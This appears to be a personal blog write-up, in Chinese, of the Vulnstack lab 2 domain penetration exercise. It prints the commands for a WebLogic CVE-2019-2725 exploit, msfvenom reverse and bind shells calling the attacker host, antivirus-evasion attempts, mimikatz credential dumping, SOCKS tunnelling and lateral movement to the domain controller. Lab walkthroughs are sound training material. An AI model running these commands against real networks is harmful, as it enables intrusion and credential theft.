Vulnstack内网靶场2

 环境配置

内网2靶场由三台机器构成:WIN7、2008 server、2012 server

其中2008做为对外的web机,win7作为个人主机可上网,2012作为域控

网络适配器已经设置好了不用自己设置

初始密码1qaz@WSX

WEB主机初始的状态默认密码无法登录,切换用户 de1ay/1qaz@WSX ,然后修改WEB\de1ay的密码

注意需要手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic 的批处理,管理员身份运行它即可,管理员账号密码:Administrator/1qaz@WSX

由于web主机自己设置了ip地址,还需要改成自动获取ip地址,不然kali无法探测该主机

 

外网主机信息收集

nmap探测端口,一个web服务器一个个人pc

目标web主机对外的ip地址为192.168.200.30 ,开放了80,但是看了看什么东西也没有,1433sqlserver,7001http服务 weblogic中间件

 由于刚刚环境配置的时候开的就是weblogic服务,所以猜测肯定这里有问题

访问weblogic后台 默认路径为192.168.200.30:7001/console,得到了一个版本号10.3.6.0

因为我对这个中间件不是很熟悉,先kali searchsploit搜索了一下大概存在哪漏洞

看到存在命令执行漏洞和java反序列化,但是我也不知道具体是哪一个,所以网上找到了一个针对weblogic的扫描工具rabbitmask/WeblogicScan

python3 WeblogicScan.py -u 192.168.200.30 -p 7001

 看到检测出只有java反序列化漏洞 编号为CVE-2019-2725,搜索一下关于这个漏洞的复现,查到有两种方法

CVE-2019-2725漏洞利用

1、上msf搜索关于这个漏洞的利用模块

use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target 1
set RHOSTS 192.168.200.30 set LHOST 192.168.200.6 run

 但是攻击失败了,突然意识到靶机有360防御,关掉之后才能攻击。

2、网上的exp(github.com)

漏洞存在的页面:(若页面存在则有漏洞)

/_async/AsyncResponseService

但是网上的exp我每个都试了,弄了一下午结果没有一个成功的,后来看到360的日志,才发现原来是他搞得鬼,把所有的数据包都拦截了,那我就很疑惑网上的wp到底是怎么写出来的

看来绕过360还是一个大工程啊

 

功夫不负有心人我差点想要放弃了,还好还是找到了CVE-2019-2725对应的利用脚本,kali如下,下载地址 https://www.exploit-db.com/download/46780

使用方法:将exploit修改成msf生成的ps1文件

但是有360,还得考虑免杀

先用msf生成ps1脚本

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.200.6 LPORT=4444 -f psh-cmd > shell.ps1

 免杀这里我选择了Invoke-Obfuscation 参考文章Invoke-Obfuscation混淆免杀过360和火绒_csdnmmd的博客-CSDN博客

Invoke-Obfuscation下载链接:https://github.com/danielbohannon/Invoke-Obfuscation 

设置执行策略Set-executionpolicy Unrestricted:允许所有脚本运行。

Import-Module Invoke-Obfuscation.psd1 \\导入模块
Invoke-Obfuscation  \\加载模块

 设置要免杀的木马

set scriptpath C:\Users\administrator.WIN-2008\Desktop\shell.ps1

选择编码混淆 ENCODING

  这里选择的类型有八个,分别是不同编码,我先试试第一个,输入1,就会自动生成

 输入

out 1.ps1

 将文件输出,可以看到免杀好的ps1脚本已经做好了

 回到kali,我想先是试试看没免杀的脚本会不会被360拦截,于是就先把没免杀的ps1复制到exploit中

python 46780.py http://192.168.200.30:7001/_async/AsyncResponseServiceHttps

 msf监听

 果然还是被拦截了,接下来试试看免杀之后的

但是,花了一晚上所有都试了一遍发现没有一个能用的,直到我把360关了之后,再重新试了一下,发现就算没有360也没有用,害能力不够,免杀这边只能先放放了。

 

内网信息收集  

跳过绕360那一步拿到web主机权限  

 

getsystem提权失败,应该是因为360的原因

 

MSF下的会话传给CS

msf使用注入模块 + cs创建Listener监听 (相同payload)

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost (cs listener ip)
set lport (cs listener port)
set session (id)
run

利用cs通过web服务器进行对内网的主机扫描发现

 扫到的三台主机,都开了445,后面可以试试永恒之蓝

 

也可以利用msf通过web服务器进行对内网的主机扫描发现

进入shell 查看内网网段

for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="

 

 有一台主机没扫到,我试了一下web机也ping不到pc不知道什么原因,用路由转发,让msf直接扫试试看

获取目标机内网地址网段

run get_local_subnets

通过background回到msf,使用route增加对应路由,2是sessions值

route add 10.10.10.0 255.255.255.0 2

 查看是否设置成功

route print

这样msf就能扫描到内网的主机了

回到meterpreter会话,扫描10.10.10.0网段

run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24

 继续信息收集,查到域名为de1ay.com,存在两台域主机WEB和PC,域控制器为DC.de1ay.com,主机名为DC

net time /domain
net user /domain
net group "domain computers" /domain

 

CS runmimikatz 

 

抓取到web/de1ay和de1ay/mssql用户的密码,但是没抓到域控的密码(其实通过之前收集到的用户名,也可以用这个密码撞一撞)

 

内网穿越

先设置代理让kali能访问内网

两种工具一个是earthworm,还有一个是ProxyChains

首先将EW上传到web主机上

在攻击机运行

./ew_for_linux64 -s rcsocks -l 1080 -e 4444

 这条命令的意思是在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给4444端口  

然后在web主机运行

ew_for_Win.exe -s rssocks -d 192.168.200.6 -e 4444

这条命令的意思是在本机服务器上启动SOCKS5服务,然后反弹到192.168.200.6攻击机的4444端口

运行完后会显示连接OK,现在就可以通过访问攻击机的1080端口,使用win7的服务器上SOCKS5代理服务

接下来使用proxychains添加代理(KALI中自带)

输入打开proxychains进行编辑

vi /etc/proxychains4.conf

 首先将dynamic_chain前面的注释符#删除

 然后在底部改成内容 socks5 127.0.0.1 1080

保存并退出,现在kali可以访问内网了

setg Proxies socks5:127.0.0.1:1080 ,把msf代理进内网(也可以添加路由)

 

域内横向移动

既然抓到了本机的密码,也开启了3389,就远程登陆看看

 rdesktop 192.168.200.30:3389

进入后先把360关了

这里我只是试一试,但是居然能连接到

 

msf创建一个正向连接的shell

msfvenom -p windows/meterpreter/bind_tcp -f exe -o shell.exe

 上传到web机在上传到域控 

定时任务

schtasks /create /s 10.10.10.10 /tn test /sc once /st 17:07 /tr c:\shell.exe /ru system /f 

 msf监听

set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.10
set lport 4444
run

 

拿到域控权限但提权失败,尝试手动提权

background
use local_exploit_suggester
show options
set session 4
run

每个都尝试用了一遍,在切换回sessions

 

用永恒之蓝试试攻击域控

 

 也可以直接获取域控权限

(后面我又试了一下永恒之蓝,但是一直是蓝屏,我也不知道这次是怎么弄的)

 

 psexec.exe也行

 

总结

这个靶机可能是我配置不太对,做起来有些奇怪,win2008的权限似乎有点高不用ipc连接就能连接到域控,win2008和win7互相 ping不通,也连接不到,感觉win7在这个靶场中存在的意义不大,这个靶场的难点应该就是过360那部分了,后续得学习一下免杀

 

 

 

 

 

 

  

 

 

 

  

 

posted @ 2021-10-17 18:18  1_Ry  阅读(666)  评论(1编辑  收藏  举报